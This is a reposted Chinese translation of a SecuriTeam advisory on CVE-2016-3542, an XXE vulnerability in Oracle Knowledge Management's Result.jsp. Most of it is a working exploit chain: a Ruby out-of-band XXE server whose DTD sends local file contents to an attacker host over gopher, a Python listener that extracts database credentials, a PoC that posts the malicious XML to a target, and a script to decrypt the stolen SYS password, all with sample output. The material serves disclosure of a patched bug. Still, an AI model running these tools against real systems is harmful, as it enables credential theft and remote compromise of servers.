Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

0
0
【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

2017-03-28 17:51:05
来源:securiteam.com 作者:興趣使然的小胃

阅读:271次
点赞(0)
收藏





【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

作者:興趣使然的小胃

稿费:60RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、漏洞概要

本文对Oracle知识库管理系统8.5.1发布的公告内容进行分析。

Oracle的InQuira知识库管理产品具备对各种来源的搜索技术,为用户提供了简单方便的获取知识的方法,这些知识普遍隐藏于存储企业内容的各类系统、应用程序以及数据库中。

总而言之,Oracle的知识库管理产品可以帮助用户在公司存储信息中挖掘有用的知识。


二、特别鸣谢

作为一名独立的安全研究员,Steven Seely发现了该产品中存在的漏洞,并将漏洞报告给Beyond Security公司的SecuriTeam安全公告计划。


三、厂商响应

Oracle已针对该漏洞发布了补丁,更多细节可以参考此链接。


四、漏洞细节

存在漏洞的代码位于“/imws/Result.jsp”文件中,攻击者利用该缺陷代码可访问位于第三方服务器中的某个XML文件。第三方服务器受攻击者控制,最终可实现受害者本地服务器上文件的窃取。

我们需要经过以下5个步骤以利用该漏洞(前面两个步骤需要在后台执行):

1、建立恶意的XML外部实体(XML External Entity,XXE)服务器。

2、监听gopher协议。

3、攻击者窃取“custom.xml”文件。

4、解密或破解AES密码。

5、获取受害者服务器的Shell。

下图反映了此次攻击的步骤以及攻击事件发生的顺序:


【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

步骤1:建立一个恶意的XML外部实体(XXE)服务器。

x@pluto:~/xxe$rubyxxeserve.rb-o0.0.0.0 [2015-02-0916:03:45]INFOWEBrick1.3.1 [2015-02-0916:03:45]INFOruby1.9.3(2013-11-22)[x86_64-linux] ==Sinatra/1.4.5hastakenthestageon4567fordevelopmentwithbackupfromWEBrick [2015-02-0916:03:45]INFOWEBrick::HTTPServer#start:pid=18862port=4567 172.16.77.128--[09/Feb/2015:16:04:10+1100]"GET/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlHTTP/1.1"2001730.0089 172.16.77.128--[09/Feb/2015:16:04:10AEDT]"GET/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlHTTP/1.1"200173 -->/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xml

步骤2:监听gopher协议。

x@pluto:~/xxe$./gopher.py startingupon0.0.0.0port1337 waitingforaconnection connectionfrom('172.16.77.128',50746) (+)ThedatabaseSIDis:jdbc:oracle:thin:@WIN-U94QE7O15KE:1521:IM (+)Thedatabaseusernameis:SYSasSYSDBA (+)Thedatabasepasswordis:VO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4=

步骤3:窃取“custom.xml”文件。

x@pluto:~/xxe$./poc.py (+)pullingcustom.xmlforthedbpassword... (!)Success!pleasecheckthegopher.pywindow!

步骤4:解密或破解AES密码。

NOTE:youwillneedtobruteforcetheencryptionkeywhichiscontainedinthewallet. OracleKnowledgeuses'OracleKnowledge1'asthewallet/keystorepassword,butyouwillmostlikelynothavethewalletorkeystoreinwhichcaseadictionaryattackistobeusedtofindthepassword. x@pluto:~/xxe$./decrypt.shVO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4= (+)Decrypting..."VO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4=" Result:"password"

步骤5:获取shell接口:

利用数据库信息,远程登录到数据库并执行代码。

你也可以在服务器系统中找到另一个配置文件,该配置文件可以允许攻击者使用一种更为“直接”的方法获取SYSTEM shell。

xxeserve.rb代码如下:

#!/usr/bin/envruby #Notes: #-Thisistheoutofbandxxeserverthatisusedtoretrievethefileandsenditviathegopherprotocol #-rubyxxeserve.rb-o0.0.0.0 require'sinatra' get"/"do return"OHAI"ifparams[:p].nil? f=File.open("./files/#{request.ip}#{Time.now.to_i}","w") f.write(params[:p]) f.close "" end get"/xml"do return""ifparams[:f].nil? <<END <!ENTITY%paylSYSTEM"file:///#{params[:f]}"> <!ENTITY%int"<!ENTITY&#37;trickSYSTEM'gopher://#{request.host}:1337/?%payl;'>"> END end

gopher.py代码如下:

#!/usr/bin/python #Notes: #-Thiscodejustlistensforclientrequestsonport1337 #-itlooksfordatabasestringsandprintsthemout importsocket importsys importre #CreateaTCP/IPsocket sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Bindthesockettotheport server_address=('0.0.0.0',1337) print>>sys.stderr,'startingupon%sport%s'%server_address sock.bind(server_address) #Listenforincomingconnections sock.listen(1) whileTrue: #Waitforaconnection print>>sys.stderr,'waitingforaconnection' connection,client_address=sock.accept() try: print>>sys.stderr,'connectionfrom',client_address #Receivethedatainsmallchunksandretransmitit whileTrue: data=connection.recv(2048) ifdata: #printdata matchuser=re.search("<user>(.*)</user>",data) matchpassword=re.search("<password>(.*)</password>",data) matchurl=re.search("<url>(.*)</url>",data) ifmatchuserandmatchpasswordandmatchurl: print"(+)ThedatabaseSIDis:%s"%matchurl.group(1) print"(+)Thedatabaseusernameis:%s"%matchuser.group(1) print"(+)Thedatabasepasswordis:%s"%matchpassword.group(1) connection.close() sys.exit(1) connection.close() sys.exit(1) else: print>>sys.stderr,'nomoredatafrom',client_address break exceptException: connection.close() finally: #Cleanuptheconnection connection.close()

poc.py代码如下:

#!/usr/bin/python #Notes: #-ThiscodestealstheC:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlfileviatheXXEbug. #-Youneedtorunrubyxxeserve.rb-o0.0.0.0anduseaninterfaceipforthe"localxxeserver" #-Thecoderequiresaproxyservertobesetupon127.0.0.1:8080although,thiscanbechanged importrequests importjson importsys #burp,ftw proxies={ "http":"http://127.0.0.1:8080", } iflen(sys.argv)<3: print"(+)Usage:%s[localxxeserver:port][target]"%sys.argv[0] print"(+)Example:%s172.16.77.1:4567172.16.77.128"%sys.argv[0] sys.exit(1) localxxeserver=sys.argv[1] target=sys.argv[2] payload={'method':'2','inputXml':'''<?xmlversion="1.0"encoding="utf-8"?> <!DOCTYPEroot[ <!ENTITY%%remoteSYSTEM"http://%s/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xml"> %%remote; %%int; %%trick;]>'''%localxxeserver} url='http://%s:8226/imws/Result.jsp'%target headers={'content-type':'application/x-www-form-urlencoded'} print"(+)pullingcustom.xmlforthedbpassword..." r=requests.post(url,data=payload,headers=headers,proxies=proxies) ifr.status_code==200: print"(!)Success!pleasecheckthegopher.pywindow!"

decrypt.sh代码如下:

#!/bin/sh if["$#"-ne1];then echo"(!)Usage:$0[hash]" else java-classpath"infra_encryption.jar:oraclepki.jar:osdt_core.jar:osdt_cert.jar:commons-codec-1.3.jar"-DKEYSTORE_LOCATION="keystore"com.inquira.infra.security.OKResourceEncryption$1 fi

五、CVE细节

CVE-2016-3542


六、受影响产品

Oracle知识库管理系统12.1.1、12.1.2、12.1.3、12.2.3、12.2.4以及12.2.5版本。


【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE
【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3052

Viewing all articles
Browse latest Browse all 12749